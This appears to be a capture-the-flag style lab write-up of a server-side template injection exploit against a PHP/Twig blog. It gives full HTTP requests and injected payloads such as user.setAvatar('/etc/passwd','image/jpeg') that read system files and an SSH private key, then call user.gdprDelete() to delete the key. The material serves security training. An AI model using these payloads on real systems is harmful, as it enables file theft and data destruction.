Server-side template injection with a custom exploit
Description
This lab is vulnerable to server-side template injection.
Reproduction and proof of concept
While proxying traffic through Burp, log in with
wiener:peter
and post a comment on one of the blogs.Go to the “My account” page. Notice that the functionality for setting a preferred name is vulnerable to server-side template injection, and that you have access to the user object.
POST /my-account/change-blog-post-author-display HTTP/1.1
Host: 0aa10086032826fac0fb869a007b007d.web-security-academy.net
Cookie: session=weVRd6xjRJcAO1mP22aj4F8fT9rTzBAf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 78
Origin: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net
Referer: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
blog-post-author-display=user.first_name&csrf=TmMgLY1pTzScQv6xgJGRNiWHptf3lzdf
Investigate the custom avatar functionality. Notice that when you upload an invalid image, the error message discloses a method called
user.setAvatar()
. Also take note of the file path/home/carlos/User.php
. You will need this later.
Request:
POST /my-account/avatar HTTP/1.1
Host: 0aa10086032826fac0fb869a007b007d.web-security-academy.net
Cookie: session=weVRd6xjRJcAO1mP22aj4F8fT9rTzBAf
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------161787197129286381834010908465
Content-Length: 493
Origin: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net
Referer: https://0aa10086032826fac0fb869a007b007d.web-security-academy.net/my-account?id=wiener
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Te: trailers
Connection: close
-----------------------------161787197129286381834010908465
Content-Disposition: form-data; name="avatar"; filename="nonsense.txt"
Content-Type: text/plain
nonsense
-----------------------------161787197129286381834010908465
Content-Disposition: form-data; name="user"
wiener
-----------------------------161787197129286381834010908465
Content-Disposition: form-data; name="csrf"
TmMgLY1pTzScQv6xgJGRNiWHptf3lzdf
-----------------------------161787197129286381834010908465--
Response
HTTP/1.1 500 Internal Server Error
Content-type: text/html; charset=UTF-8
Connection: close
Content-Length: 290
<pre>PHP Fatal error: Uncaught Exception: Uploaded file mime type is not an image: text/plain in /home/carlos/User.php:28
Stack trace:
#0 /home/carlos/avatar_upload.php(19): User->setAvatar('/tmp/nonsense.t...', 'text/plain')
#1 {main}
thrown in /home/carlos/User.php on line 28
</pre>
Upload a valid image as your avatar and load the page containing your test comment.
In Burp Repeater, open the POST request for changing your preferred name and use the
blog-post-author-display
parameter to set an arbitrary file as your avatar:
user.setAvatar("/etc/passwd")
Load the page containing your test comment to render the template.
Internal Server Error
PHP Fatal error: Uncaught ArgumentCountError: Too few arguments to function User::setAvatar(), 1 passed in /usr/local/envs/php-twig-2.4.6/vendor/twig/twig/lib/Twig/Extension/Core.php on line 1601 and exactly 2 expected in /home/carlos/User.php:26 Stack trace: ...
Notice that the error message indicates that you need to provide an image
MIME
type as the second argument. Provide this argument and view the comment again to refresh the template:
user.setAvatar('/etc/passwd','image/jpeg')
To read the file, load the avatar using
GET /avatar?avatar=wiener
. This will return the contents of the/etc/passwd
file, confirming that you have access to arbitrary files.
Repeat this process to read the PHP file that you noted down earlier:
user.setAvatar('/home/carlos/User.php','image/jpeg')
Reload the blog post with the comment and load the avatar using
GET /avatar?avatar=wiener
again.
In the PHP file, Notice that you have access to the gdprDelete()
function, which deletes the user’s avatar. You can combine this knowledge to delete Carlos’s file.
First set the target file as your avatar, then view the comment to execute the template:
user.setAvatar('/home/carlos/.ssh/id_rsa','image/jpg')
Invoke the
user.gdprDelete()
method and view your comment again to solve the lab.
blog-post-author-display=user.gdprDelete()&csrf=TmMgLY1pTzScQv6xgJGRNiWHptf3lzdf
Exploitability
An attacker will need to create a custom exploit to delete the file /.ssh/id_rsa
from Carlos’s home directory.